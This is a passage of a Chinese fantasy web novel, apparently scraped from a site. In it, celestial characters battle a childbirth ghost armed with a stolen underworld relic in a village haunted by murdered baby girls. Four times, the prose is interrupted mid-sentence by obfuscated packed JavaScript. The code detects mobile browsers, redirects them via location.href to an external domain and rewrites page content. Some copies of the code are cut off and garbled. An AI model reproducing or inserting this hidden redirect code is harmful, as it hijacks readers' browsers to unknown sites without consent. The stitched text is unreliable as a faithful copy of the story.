青晏默默端详着那个曾经收容过执灵的水晶杯,打算找机会去问问丞五这个法宝的来历,却忽然莫名感到一丝不对劲。 太安静了,实在是太安静了。 青晏尽量不动声色地侧过眼,悄悄睨着从执灵现身开始便沉默了许久,如今正在将被明煦撞倒的道具箱子恢复原状的颜故。 她谨慎地捋了一遍方才所有的对话和表情,自认应该是没做出什么会导致露馅的行为,但颜故非同寻常的沉默却让她心里一直七上八下的,始终安稳不下来。 他究竟看没看出来?按理说就连明煦本人都没能听出来的故事,颜故应该不至于这么精准地想明白,但一考虑到他是颜故…… 青晏忽地眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493486|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一跳。 不对,正因为他是颜故,换做平时的他,此时早该一边云淡风轻地收拾着残局,一边发出各种深刻感慨了。此时的沉默,反倒说明他至少猜到了一点什么,只不过有所顾虑才没说出。 他到底猜出了什么呢? 青晏盯着颜故的背影,心间飞速漫过无数个念头,却又很快纷纷化成一句算了。 即便真的被他猜出些什么又有何妨?凭他目前所知,他最多只能推测出明煦便是大瑜公主,却决计猜不到她与宸景的关系。既如此,想来也没什么可担心的,颜故这个聪明人,是绝不会自己跑到明煦面前,说出这番明知不会对他有任何好处的话的。 那只被打翻的箱子终于被颜故整理完毕。青晏见他神色如常地向她走来,还是忍不住想试探一番:“你对那执灵怎么看?” 颜故眼睫微动:“是个可怜人。” “仅是如此?” “仙子指的若是他动手杀了戏班子里这三个人的话,”颜故耸了耸肩,“我倒没觉得有什么所谓。” “做错了事,就该受罚。他们此前之所以平安无事,只是因为那些被改了话本的文人无力反击而已,如今遇上云朗这般执拗得为了公主可以连命都不要的执灵,也只能说是他们的报应。” “当然,胡乱改改话本而已,罪不至死。可这天下所有事,本就不是桩桩件件均能有理可讲,有法可依的。”他注视着青晏,唇边笑意温柔,“不是吗?” 青晏瞧颜故这番模样,总感觉他是话里有话,可一时间却也不知道他到底在暗指些什么。她本就不爱猜这些弯弯绕,索性便不去管他到底在想什么,胡乱点了两下头便算应付了。 颜故眸光更加幽深。 “你既觉得执灵可怜,那公主呢?”青晏观察着他的神色。 “公主?”颜故笑笑,“公主自然是个好公主,都是那凛国皇子太可恨。若公主已有来世,我愿她能远离所有是非,永葆平安幸福。” 青晏的心落了落。 果然,就算颜故真的猜到了什么,以他的性子也不会在明煦面前暴露出半分,如此便足够了。 此时扮作小道童跟着明煦出去的唐禾一溜烟地跑了回来,对青晏道:“成功了仙子,他们都信了。” 青晏看向他身后:“明煦呢?” “刚才来了个大娘,说他们村最近总是闹鬼,如今好容易见到一个有真本事的道士,求仙姬过去给他们做做法。仙姬已经往那边去了,让我回来知会一声。” 难不成许州这边的幽冥界逃鬼还没捉完? 青晏暗暗叹气,无奈地跟着唐禾往明煦前去的方向行进。 她本想此事结束后立即带他们返回天界,却没料到半路又被不知从哪冒出来的逃鬼所打断。等了结了这逃鬼后,无论如何都得赶紧回去,不能再耽搁。 执灵正好出现在明煦所在的地方绝非巧合,背后操控者必然清楚明煦的真实身份才会做出如此谋划。但她实在想不通,要明煦想起前尘往事究竟有何作用?还是说这只是连环计划中的一环,还有更为阴险的后招在等着他们? 51.冥鬼 本该只有自己与宸景知晓的秘密,如今却被人拿来大做文章,真是令人心神不宁。 青晏忍不住开始在心中描绘起各种可怕的可能性。 待到了那个名为桂久村的小山村时,明煦已经被一群老头老太围在中间,一脸严肃地听着他们七嘴八舌地讲着各种诡异现象了。 半晌后她清了清嗓子:“所以我总结一下,首先,你们村有水鬼,把桥弄塌了不说,前天又把老马头给抓去做替死鬼淹死了。还有那穿蓝衣服的大爷,你说你儿子开几间铺子倒几间,一定是被穷鬼缠上了,是吧?还有那个老太太,你说你儿媳妇是什么,扫把星转世?为什么来着?” 老太太一拍大腿:“还不是因为她连生了三个女娃子!一个男孩都没有!这回好容易怀上男孩,结果前几天刚生下来就没气了!作孽呀,我们家的香火都要被她断掉了,这还不算扫把星转世吗?仙人呐,你可一定要帮帮我们呀!” 明煦眯起眼睛。 她本能地想要狂骂一通诸如什么你自己不是女人吗如今又嫌弃起女人来了到底是什么道理,以及这么喜欢男孩倒是让你儿子和男人成亲啊的话语,但话到嘴边又硬生生被她咽了回去。 没用,这种已经在此等恶毒思想里浸淫了快一辈子的人,骂她是骂不醒的,反而只会让她把这股气撒在她那个本来就已经很可怜的儿媳身上。 念及此,明煦硬生生挤出一个笑容,直勾勾地冲那老太太招手:“来,伸手,我给你看看命。” 老太太赶紧把手递过去,明煦看着她干枯皲裂,沟壑纵横的手,煞有介事地叹了一声。这一声叹息可给这老太太吓得要命,忙问她怎么了。 “你这个儿媳妇……确实不是一般人呐!” 老太太号丧般地:“我就说!我就说她是个扫把星!” “非也,非也,”明煦摇头晃脑,“她非但不是个扫把星,还是你们家的福星!” 她指着老太太的掌纹念叨了一大串,连哄带骗地让老太太相信了她本是个老无所依的命格,唯一养活到成年的这个儿子本该在刚成亲那年就被山中野兽咬死,是她这个儿媳妇命中无寡,又运势极强,这才活生生把她儿子的命给拉了回来。 至于为什么三个女儿,也是因为她儿子本就是早亡的命,香火早就在他该被野兽咬死的那年断了,如今能有三个女儿也是因为她儿媳命里多福才有的。 老太太本还是一副不太相信的模样,结果在明煦接连在她耳边说中了许多他们家的私事之后大为震惊,立即跪地要拜活神仙,被明煦一把拉起,皮笑肉不笑地问她知不知道以后该怎么做,得到了满意的答案后随手画了几张平安符便把她打发了。 这套行云流水般的应对让青晏欣慰极了,柔和笑意从她的嘴角蔓延开来,一路爬上了眉梢。 颜故飞快收回看向青晏的视线,生怕只要再多看一瞬就会被她脸上隐隐透出的柔光给灼伤。他定了定神,随即主动提出要去河边看看里面是否有水鬼。 “早点结束,便能早些回去向天帝汇报了。” 青晏本就为明煦欣慰着的心又因为颜故的懂事更添了一分满足。她愉悦地点点头,允了颜故前去查看,自己也开始催动灵力探寻起整个桂久村来。 这一探,竟还真的被她探出一丝幽冥鬼气。只不过这道鬼气不在远处的河边,也不在更为遥远的店铺,反而就丝丝缕缕地萦绕在他们身边,更为准确的是,萦绕在明煦的身边。 青晏手下登时捏起一道法诀,仔细地观察着围在明煦身边这群貌似极为普通的,嘴皮子上下翻飞着的老翁老妪。 可他们却均为板上钉钉的凡人。 青晏的目光向周围散去,逐个扫过以明煦为中心方圆百米内的每一个人。背对着人群勤勤恳恳编着竹筐连头都不回的中年男人,摇晃着蒲扇一脸好奇地看着这边热闹的卖菜大娘,轻柔哄睡着怀中婴儿的妇女,两位在树下对弈的老头,还有几个在空地上追逐打闹的小男孩。 那位怀抱着婴儿的妇女似是察觉到了青晏的视线,抬起头来环视了一圈,在对上青晏的目光后轻柔地笑了笑,随即又低下头去逗弄孩子。 可就在此时,一声婴儿的啼哭尖利地响起,直刺得青晏耳朵一突一突地跳。紧接着便是更多婴儿的哭号声从四面八方传来,此起彼伏地交杂在一起,震得人脑袋嗡嗡作响。 村子里没人见过这种阵势,围住明煦的老翁老妪、以及周围所有这些原本安静做着自己活计的人,全都被这不知从哪传来的婴儿嚎哭声吓得四处逃窜,偌大的一片空地上只剩下了青晏他们几个。 以及那个抱着婴儿的妇女。 此时就算是再迟钝的人也该明白到底谁是那个逃鬼了。明煦一个翻身便挡在了青晏和唐禾面前,手中现出长刀。颜故感觉到周围气场的波动,也从河边匆匆赶回。 那妇女冲他们柔柔一笑:“还有吗?” 已经变回原貌的明煦疑惑发问:“什么?” “我是说,除了你们四个之外,还会有别的神仙来吗?”妇女脖子上围着的布巾随风微微颤动,“若是会有的话,我再等等也无妨。” 青晏几人闻言皆是一愣。 经由他们手中被缉拿回幽冥的逃鬼不少,这些鬼遇见他们时的态度或哭嚎哀求或暴戾恣睢,却从未有一只像眼前的这位一般表现得如此漫不经心,甚至隐隐期待会有更多神仙前来捉拿的姿态的。 明煦微微将头偏向青晏的方向,嘀咕道:“这大姐是不是有什么问题啊?她这份自信可真是让人摸不着头脑。” 青晏没有回答,背在身后的手指不断飞舞,带起众多细碎的光点,将周围的空气一环环地向外推出几乎看不见的波漾纹路。 唐禾上前一步,坚定道:“我知你定有苦衷,但你也曾为人,不应再伤害同类。若你愿重返幽冥,我定不会让你过受苛责,你意下如何?” 他这番话说过许多次,性子稍缓的逃鬼通常会听劝乖乖跟着幽冥使回去,凶性大发的一般不等他说完便会暴起袭击,结果无一例外地被他几扇子打回原形,灰溜溜地被押回幽冥。 可这妇女却只是以一副看着自己孩子般的慈祥模样望着唐禾,笑意平和道:“谢谢你,但我回不去了。” 明煦从这话里嗅出了一丝危险的气息:“你什么意思?” 妇女却没直接回答她的问题:“都说冤有头,债有主,我们这些做鬼的,本最信奉这个道理。”她垂下眼去看着自己怀中的襁褓,“可有些时候,日子偏偏不按我们想要的样子过。” 青晏蹙起眉头。 妇女又道:“刚才那老太太家的媳妇,我见过的,你刚才那番话也算救了她,我替她谢谢你。” 颜故突然开口:“你何时与她见过?又为何替她道谢?” “就在前几日她生产的那天,我见过她。至于为什么道谢……”妇女做出思考的神情,“想来是因为我们都帮了她吧?我从前路过学堂时听教书先生说过几个成语,这种应该叫什么来着,惺惺相惜吧?” 青晏手指掐诀的动作愈发迅速。 这妇女分明是鬼,寻常凡人与她接触只会被其阴气侵袭,又到底是如何被她“帮”到的?更何况据那老人所言,她儿媳当日所产男胎一落地便夭折了,此事多半与面前这只鬼脱离不开关系。 青晏的目光落在妇女脖子上缠着厚厚的,完全不符合当下时节的布巾,心中登时便猜到了面前这妇女的真身。 产鬼。 难产而死的孕妇所化,咽喉间有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516053|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一鲜红血线。届时只需将这常人所不得见的血线垂入产妇口中,几番拉扯后,无论是产妇的、还是新生儿的命,只要产鬼想,便均会轻而易举地消散。 这产鬼方才所说的“帮了”那老人的儿媳,指的该不会就是放了她一条生路吧? 妇女不等他们回答便继续道:“我知道你们是好人,但……”她摸了摸脖子上的布巾,“已经答应了别人的事,总不好失信啊。” 答应别人的事? 唐禾一下子想起那个受雇前来袭击明煦的树妖。 他当机立断捏起法诀,霎那间狂风大作,地上的沙石顺着风劈头盖脸地朝着那产鬼的方向刮去。青晏见状迅速在他背后拍了一把,唐禾顿时感觉有一股充盈的法力立刻席卷了自己的全身,那股风也瞬间暴涨了数倍威力,以摧枯拉朽之势怒吼狂嚎着奔向正抱着孩子的产鬼。 那妇女躲闪不及,只来得及抽出一只手去挡,青晏手中玄元镜一转,两只巨大的爪子从唐禾的风里幻出形来,一勾一挠,轻轻巧巧地将婴儿的襁褓从产鬼手里夺出,抛至一旁。 明煦一个飞身跳起接住襁褓,到手却发现那襁褓轻得吓人。她掀开一看,却只见几根细碎枯骨,丝毫没有半点活物气息。 就在襁褓被掀开的一刹那,所有婴儿的啼哭声竟齐齐止住,被狂风袭击过后空荡荡的地面只留下了那妇女撕心裂肺的咆哮:“把我的孩子还给我!” 青晏扫了一眼那枯骨,语意冰冷:“你作恶害死别人孩子的时候,有没有想过那个孩子的母亲也会这么说?” 她本意只是试探,却没想到对方竟干脆利落地承认了。 产鬼早已没有了方才那副温柔模样,癫狂大叫道:“你懂什么!他是个男孩,就该死!” 虽说这一路走来已经听过了不少稀奇古怪的杀人理由,但唐禾还是被这句话惊呆住了。 他双目圆睁:“你这是什么道理?!” “什么道理?”产鬼发出阵阵刺耳的大笑。她摇摇晃晃地指了指周围的一圈屋子,“我活着的时候,他们是道理;现在我死了,我就是道理!我叫谁死,谁就决不能活!” 她暴虐地在明煦“大姐你冷静一点”的声音中扯下了自己领口处的布巾,露出了一条竖在她脖子上的鲜红血线。有东西隐隐在那条血线里窜动着,仿佛随时都要破开她的皮肤。 果真是产鬼。 明煦一看这阵势像是有架可打,激动地一甩袖子就要冲过去,青晏猛地将她拽回来,急切道:“别动,她有古怪。” 普通幽冥逃鬼面对前来缉拿自己的神仙时,绝不会有她这般气定神闲底气十足的模样,搞不好她会像柳滢容与裂魂琵琶那般,背后有个极为强硬的帮手。况且听那产鬼方才所言,她这番行径似乎是受人所托,难不成,是之前那个雇佣树妖动手袭击明煦的人再次下手了? 但执灵一事才刚结束他们便被引到了这个小村庄,这明显不可能是巧合,所以那个意图袭击明煦的人,也同时知道她的过去?会不会正是因为那段过往才让她成为目标? 可若真是如此,又为何要在这产鬼之前安排执灵现身呢?执灵明显对他们造不成任何威胁,最多只可能是让明煦想起自己凡人时的那段经历,可让她想起这些来又有什么用呢? 青晏脑海中翻转过无数个念头,手下动作不停,光点带出的波漾纹路已经一环环地越推越远。 明煦听了青晏的劝阻停了下来,小声问:“那现在怎么办?” 玄元镜中逐渐转出一把巨大的伞,笼罩在他们几个的头上。那产鬼见状爆发出一阵大笑:“倒是个明白人,知道我这类鬼族最怕什么。但……” 她将手伸向自己的脖子,尖笑道:“这招对我来说,已经没有用了!” 52.噬骨 数条血线从她脖子的皮肤下窜出,张牙舞爪地朝着他们几个的方向飞来。适才一直沉默着的颜故突然毫无征兆地将隐在袖子里的双手伸出,五指捏在一起由上至下狠狠地一拽。 仿佛有看不见的绳索被拉动了一般,无数道细细的水流从各个方向齐射而出,像藤条一样在产鬼身边交缠起来,很快就将她困在了一个紧密严实的水牢笼里。 产鬼虽然被困,可她脖子上的血线却仍然不住地从空隙里往外钻,有几条甚至已经在牢笼外冒了头。颜故见状手势一变,刚才还急速流转着的水流立刻向四周蔓延结成了冰,齐齐将往外钻着的血线沿边切断。 产鬼似是痛极,抓着自己的脖子嚎叫了一声,青晏这才看见她脖子上挂了一个隐约闪着光的小瓶子。 可还未来得及青晏看清那里面到底装了什么,那产鬼便猛地将瓶子拽了下来,仰头吞下了里面的东西。 炽烈的火焰从她身上迅猛燃起,填满整个冰笼。就在他们以为这冰笼很快就会被烧化之际,那火焰却蓦地消失,连带着冰笼里的产鬼,一起不见了踪影。 明煦握着刀茫然道:“她就这么火遁了?” 颜故的瞳孔却不由自主地放大,心跳声响如振雷,额间也悄然沁出一层细汗。 他认出那产鬼吞下的东西是什么了。 那小瓶子里闪烁着奇异光芒的东西,正是幽冥界丢失了的圣物——幽煞珠。 此前宁尧便与他说过,幽煞珠乃幽冥界积年怨气凝聚而成,其所蕴含的幽冥之力足以匹敌百万鬼族之势。就算他们四人全都有着青晏这般的法力,也根本无法与其正面抗衡。 自幽煞珠丢失后,幽冥界暗中搜寻多日却始终一无所获,可为什么如今它却诡异地出现在一个受人指使的普通产鬼手中,被她用作提升自己法力,向他们发难的工具? 颜故心乱如麻,一时间竟没了主意。 到底该怎么告诉青晏幽煞珠有多危险?在她眼中自己只是一个刚刚飞升的普通仙使,如何解释得清自己为什么会认识幽煞珠这种密不示人的幽冥界圣物?一旦她生了疑,自己这么多年来的精心布局会不会就此功亏一篑? 他电光火石间转过无数心思,最终还是暗暗咬了咬牙,对青晏飞速道:“那瓶中之物极有可能是幽冥界丢失的圣物幽煞珠,前几日缉拿逃鬼时我曾听他们提过……” 青晏猛地回头:“幽煞珠?!” 现在回想,那瓶中发光的物品确实有着珠子的形状。难道这产鬼没有遁走,而是在适应这股突如其来的强大力量? 似是在回应青晏的忐忑一般,一股气浪猛地炸开了冰笼,完全暴露出原形的产鬼随着被炸飞的冰笼碎片浮在了半空中,全然没有了刚才那副温婉妇人的模样。 她的衣衫被火烧得褴褛,露出了原本被掩盖着的青紫淌血的皮肤。那产鬼双眼血红,獠牙尽突,一脸怨毒地瞪着他们:“我本来想给你们留个全尸,但既然你们不识好歹,那便和他们一起被我通通碾碎吧!” 明煦刀尖一挑,向产鬼砸去一团炽焰:“你哪来的自信要给我们留全尸?” 产鬼没有回答,双手抓着自己脖子上的血线往两边死命一扯,数不清的血线密密麻麻地从她脖子上那个裂开的缝隙里伸出,向他们急速袭来。唐禾见状倒吸了一口凉气,再次凝神施法,唤出无数条风卷阻挡着血线前进。 漫天风卷与团团血线不住扭打撕缠的场面给青晏恶心得够呛,然而此时那个早已被他们甩在一边的襁褓中却突然爬出一具完整的婴儿骨架,对着青晏的腿就要狠狠咬下去。 青晏淡淡地斜睨了它一眼,抬脚便将其踢飞。只听“嘎嘣”一声,那婴儿的上下颌骨应声而碎,随后重重摔落在地,被明煦追至而来的火焰瞬间化为灰烬。 见自己的孩子灰飞烟灭,那产鬼爆发出了一声惊天动地的嘶喊。她从半空中跌坐在地上,呆呆地望着那一撮灰,狰狞可怖的脸上浸透了悲痛,衬得她的面容更加扭曲渗人。 产鬼歪歪扭扭地从地上站了起来,目眦欲裂地盯着青晏几人,状若疯魔。她双手展在空中,嘴里念叨起奇异绵软的语调来。 刚才还在与风卷竭力缠斗的血线似乎是听到了什么召唤一样纷纷冲天而去,又随着产鬼逐渐增大的音量扩散开来,渐渐融成了一把巨大腥臭的伞,笼罩在整个桂久村的上空。 不仅不怕伞,甚至还把伞用作武器吗? 青晏和明煦对视了一眼,二人同时跃起,一左一右地攻向产鬼,颜故唐禾紧跟其后,和她们一起斩向还在源源不断扩大着伞面的血线。他们攻势极为迅猛,可那产鬼却连半分躲避之意也无,任由血线被纷纷斩断,落到地上化作死气沉沉的血水。 她高举双臂,发出一声悠长的呼喊。 随着这声呼喊,许多小小的骸骨在这场血雨里漫山遍野地爬出:山里,河底,树下,就连几户村民家里的灶台和土炕中,都有细小的臂骨摇晃着探出。桂久村的村民被吓得挤在一起瑟瑟发抖,巨大的恐惧感掐住了他们的喉咙,让他们连一声叫喊都无法发出。 那些骸骨睁着空空的眼眶四处张望,似乎是在寻找着什么东西。它们的脑袋不住地转动着,脖子上的骨头发出“咔啦咔啦”的声音。 突然,所有的骸骨都不动了,它们死死地盯着桂久村的村民,慢慢咧开了嘴,无声的笑了。 找到你了。 有村民被它们过于浓厚的恶意吓得跌坐在地上,从嗓子眼里发出了一声非人般的哀鸣。仿佛是被触动了什么开关一般,一具骸骨猛地跳起,张口便咬住了他的脖子,很快就扯下了一块冒着血沫的皮肉。它将那块皮肉吞进肚里,发出了第一声喜悦的笑。 咯咯咯。 那笑声清脆欢畅,充满了不谙世事的孩童才会有的纯真,可这笑声对桂久村的村民来说无异于一道催命符,狠狠贴在了他们已经无比脆弱的心上。 他们抖着自己发软的双腿想跑,可其余的骸骨早已如潮水般向他们涌来,刹那间将他们团团围住,展开了一场狠绝的,血气四溢的杀戮。 明煦气急,扭身一刀斩断了数十条血线,冲着产鬼愤怒大喊:“你不是受人之托要杀了我们吗?为什么要滥杀无辜!” “无辜?”产鬼哈哈大笑。她低头看着宛如人间地狱一般的桂久村,满意地舔了舔自己的獠牙:“他们可不无辜。” “你们现在看见的,全是几百年来死在这个地方的女孩。”她侧身躲开明煦的攻击,指着正在啃啮一具村民尸体的婴儿骸骨道,“看见她了吗?刚出生三天,就被自己猪狗不如的亲爹扔进了河里。她如今吃着的,就是当年扔了她的那个畜生。” “还有这个,”她伸手一指,“她倒是活得久了一点。七岁的时候家里终于添了弟弟,她奶奶说家里的粮食不够养活那么多人,便将她和她妹妹一起扔进了山里。” 唐禾瞠目结舌,不由得想起来刚才在灶台和土炕里见到的骸骨,被自己心中的猜想吓得不寒而栗。 产鬼的目光投向远处的那一具骸骨。 那具骸骨的身形大了些,已经是个半大孩子的模样了,它正蹲在地上,用自己断掉的臂骨反复戳着两个村民的胸口。 产鬼的语气低沉了下来:“那是我的大女儿。还没到五岁的时候就被她爹瞒着我,卖给了别的村子去给人家做童养媳。他告诉我,孩子送去好人家养了,从此再也不用跟着咱们挨冻受饿了。我虽然舍不得,但也不忍她跟着我们继续受苦,甚至还以为这算是她的福份。” 她把牙咬得咯咯作响:“可几年之后孩子突然莫名其妙地死了,就那么被埋在一层薄薄的土里,连个坟都没立!” “我不相信我的孩子就这么不明不白地死了,等我趁半夜三更去把她挖出来一看,孩子身上新伤叠旧伤,连骨头都断了几根,竟是被活活打死的!她爹埋她的时候什么都看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纵然明煦精通武艺,却依然在这狂风暴雨般的攻势下左支右绌,接连被黑气缭绕的碎骨刺中。幽冥之力借机迅速侵入她的经脉骨骼,如毒蛇般四处游走啃噬。 明煦痛得什么法术都忘了,只能凭借本能调动体内法力试图将其驱逐,可那股幽冥之力反而集中朝着她的腹腔冲去,翻搅,撕扯,一波接着一波,没有尽头,似要将五脏六腑全部连根扯出。 就像妇人难产时的痛。 颜故与唐禾也早就被这股疯狂撕扯的痛折磨得瘫倒在地面色惨白,就连意识都快要被搅碎。颜故拼命凝起神来,艰难地看向仍在苦苦维持着的青晏。 可青晏此时额头也布满细密汗珠,呼吸急促,紧咬着牙关,一声不吭地舞着玄元镜和已经完全吃透幽煞珠力量的产鬼对抗,显然也已经到了极限。 产鬼笑声更加尖锐,那腥臭血伞上蠕动着的无数血线此时竟从伞面剥离开来,像鞭子般劈头盖脸地朝他们抽下。被疼痛疯狂肆虐着的躯体行动本就迟缓,温热的血液混着已经不受控制逸散开来的灵力溅在地面上,混出血色的浆泥。 颜故狠狠咬住下唇,那股由他自己造成的,截然不同的疼痛让他略略恢复了一丝清明。他颤抖着将鲜血淋漓的左手伸至耳后,却又始终僵直着悬在空中。 一旦这么做了便无法挽回。 自己这么多年的苦心谋划,终于有机会手刃仇人的渴望,都将在他解开耳后这道封印后瞬间烟消云散,而他不会再有哪怕一丝一毫的可能,去创造第二个接近仇人的机会。 要赌吗,要赌青晏还是有办法,赌他无需暴露自己便能让他们全身而退? 颜故呼吸愈发急促,本就被疼痛吞噬得所剩无几的理智无法发挥它本来的作用,指尖几乎已经触碰到耳后那道封印的边缘。 可就在这时,他却看到那产鬼毫无征兆地腾空而起,迅速将自己脖子上唯一的那条血线狠狠撕下,无情血光化作一道赤红色的闪电,带着无法阻挡的力量,呼啸着,瞬间穿透了青晏的胸膛。 53.劫后 血雾从青晏身后贯出。 她似乎还来不及做出任何反应便被击飞出去,重重摔落在地,没了任何声息。 颜故眼前一片模糊,一股前所未有的恐惧浸入他的四肢百骸,直激得他心脏跳得快要从口中蹦出,悬在耳后的手指终是猛地按了下去。 那道透明的,只有他自己能感受到的封印顿时解开,浓重寒气刹那间爆发开来,一道道冰霜从他脚下飞速向四面八方蔓延,就连树枝都被厚重冰霜冻出一声声脆响,无数孩童骸骨化作的细碎骨节被这寒意纷纷凝落在地,被血色笼罩的桂久村此刻更是铺上了一层空寂般的惨白。 然而这画面只持续了短短一瞬。 漫天金光随着一声撕心裂肺的扭曲嘶吼骤然爆发,瞬间将整个桂久村耀得亮如白昼。镶着金边的冲天烈焰如滔天巨浪,在明煦那已经暴涨至数米长的刀刃上肆意翻腾,随着她以快到不可思议的速度,挟卷着狂暴的怒意,朝那把由无数血线组成的巨大血伞劈去。 大到足以将整个桂久村覆盖住的血伞应声而倒,笨拙地向地面栽去。金色烈焰无情地吞噬着它,厚重黑烟升腾而起,将随着血伞倒下刚刚露面的太阳重新隐没。 产鬼发出一阵天崩地裂般的怒吼,咆哮着和明煦厮杀起来。明煦似是已经完全感受不到幽冥之力带给她的剧痛,璀璨金光与火焰在长刀上不停游走,每一击都凶猛至极,却又无比精准地向产鬼砍去。 她似是完全疯了,只遵循着身体的本能不停地攻击,丝毫不顾自己身上已被四溅的幽冥之力洞穿了数道伤口,也根本听不见唐禾心急如焚的嘶喊。 颜故闭了闭眼,手中长剑竖起,原本普通的剑身上如薄冰般裂出一道微蓝光芒,眼见着就要褪裂掉所有伪装。可就在此时,他却忽然觉得自己身前的地面开始朦胧起来。 他用力眨了眨眼,又甩了甩头,然而眼前的地面不仅没有重新变得清晰,反而像是被一股奇异的吸引力拉扯着一样急速向下凹陷。颜故立即运起法力,托住倒在地面上的青晏与唐禾飞速向一旁撤去,同时急急甩出一道寒冰锁链,想要将已经杀红了眼的明煦拽回来。 可明煦根本不管。 她能感觉到自己体内那股不知因何而起的力量正在迅速消散,她灵活地绕开颜故的锁链,拼尽全身最后的力气,孤注一掷地朝产鬼的脖颈发出了重重一击。 产鬼的头颅应声而落,她拼命抓挠着自己空荡荡的脖颈,和明煦一起坠入那个由地面凹陷而成的,巨大的黑洞。 颜故心急如焚,转瞬间又再发数条锁链,迅速将明煦拉回半空中,任由产鬼和她体内的幽煞珠被那黑洞尽数吞没。 巨大繁复的花纹慢慢浮现在凹陷下去的地面周围,半空中的明煦垂头看着这一幕,怎么看怎么觉得这花纹无比眼熟。 这好像是……青晏玄元镜边缘的图案? 已经被颜故拖回身边的明煦仍旧怔愣地盯着那不断流转的花纹。 忽然,一只她无比熟悉的,修长白净的手就这么出现在了花纹边缘一块支棱出去的石头上,以一种她看过无数遍的轻巧姿态,将那块石头拿了起来。 石头在这人手心里迅速变得细长,凹陷的地面也飞快地缩小着,与那石头一起归成了一面流光溢彩,华丽精致的镜子。 颜故身旁那个胸腔被血线洞穿的“青晏”在此刻烟消云散,真正的青晏正手持着玄元镜,安然无恙地立在他们面前,只有头发略显凌乱。 她歪着头,露出一个明煦再熟悉不过了的无奈表情:“就算再怎么生气,也不能如此不管不顾……” 她的话还没说完就被一个疾冲而来的猛烈拥抱撞了回去。 明煦崩溃地抱着她大哭:“你下次能不能提前告诉一声啊,我都要被吓死了!!!你要真有个三长两短我怎么办啊!!!” 青晏被她哭得眼睛也有点发热,赶紧拍着她的后背安抚道:“没事啊,别哭了,我这不是好好的嘛。方才事出紧急,实在没来得及告诉,下次不会了。” 明煦抱着青晏哭了好大一通才止住眼泪。她报复性地将自己的眼泪全擦在青晏衣服上,抬起头来抽着鼻子埋怨:“你这是什么法术啊,我之前怎么都没见你用过……” 青晏一边为她施术疗伤一边道:“这也是幻术的一种,只不过需要花费相当长的时间,悄无声息地把周围的环境一点一点变成我的幻境。整个过程法力消耗极大,所以我之前从没在你面前施展过这个术法。” “这也是我为什么没能事先和你们通气。一来是时间确实紧急,二来是那幽煞珠力量太过强大,真是硬碰硬的话我们今日必然没有任何胜算。如今我能侥幸把它引入幻境里,也是因为它正在受产鬼操控。所以方才若是被那产鬼识别出半点破绽,这幻术便没用了,届时我们恐怕便要凶多吉少。” 那幽煞珠上的幽冥之力实在太过纯粹强横,导致一整个疗伤术法用下来后,明煦身上的伤口竟只是略有恢复,虽然已经停止流血,灵气也不再外溢,但她的伤口处仍在隐隐冒着黑气。 青晏对此颇有些烦躁,明煦却不以为意,反而问道:“那你是从什么时候开始施展这个法术的?” “从我见到她的那一刻起。”青晏叹息着答道,“柳滢容一事之后我便明白了,这种莫名其妙自信得离谱的角色都难缠得很,我也不打算猜这回给那产鬼撑腰的究竟是什么了不起的东西,不如直接拿出我所有的手段把这些麻烦全都打包带回去,让宸景去处理。” 一听青晏提到宸景,明煦的嘴角就开始不自觉地缓缓上升。 她美滋滋地挑了挑眉,清了清嗓:“那既然这样,我们就赶快回天界去吧。不过你下次最好还是起码给我们一点暗示,你瞧把那俩孩子吓的,人都快傻了。” 青晏顺着明煦的话转过头去,看向远处正偷偷揉着自己通红眼眶的唐禾,以及木着脸凝在原地的颜故。 他们二人伤得比明煦更为严重,尤其是唐禾,浑身上下几乎已经被血浸透了,右肩处深可见骨的伤口正不断向外溢着灵力,明显是经脉受了严重损伤。 颜故身上的伤看起来没有唐禾的那么恐怖,然而脸色却要比唐禾的苍白上许多,仿佛全身的血色都在刹那间被抽尽,如今只余一层空壳在勉励支撑着。 青晏担心极了,赶紧用剩余不多的法力给他们俩也勉强疗了伤。唐禾那处伤口不再外溢灵气,可颜故的面色却仍旧病态般的惨白着。 “还好吗?”青晏看向他的目光里满是担忧,“脸怎么这么白。” 颜故长长的睫毛如蝶翼般微微颤抖,勉力朝青晏露出一个若无其事的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600935|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“只是方才灵力消耗过多,没事的。” 